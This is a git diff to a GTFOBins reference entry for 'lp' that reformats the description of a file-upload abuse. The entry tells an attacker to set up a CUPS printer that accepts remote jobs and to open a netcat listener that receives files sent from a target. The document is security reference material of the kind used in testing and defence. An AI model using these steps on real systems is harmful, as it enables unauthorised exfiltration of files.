diff --git a/_gtfobins/lp.md b/_gtfobins/lp.md index cd5958f..87e7e28 100644 --- a/_gtfobins/lp.md +++ b/_gtfobins/lp.md @@ -1,12 +1,13 @@ --- functions: file-upload: - - description: To collect the file run the following on the attacker box (this requires `cups` to be installed): + - description: | + To collect the file run the following on the attacker box (this requires `cups` to be installed): - Run `lpadmin -p printer -v socket://localhost -E` to create a virtual printer. - Run `lpadmin -d printer` to set the new printer as default. - Run `cupsctl --remote-any` to enable printing from the Internet. - Run `nc -lkp 9100`. + 1. `lpadmin -p printer -v socket://localhost -E` to create a virtual printer; + 2. `lpadmin -d printer` to set the new printer as default; + 3. `cupsctl --remote-any` to enable printing from the Internet; + 4. `nc -lkp 9100` to receive the file. Send a local file to a CUPS server. code: |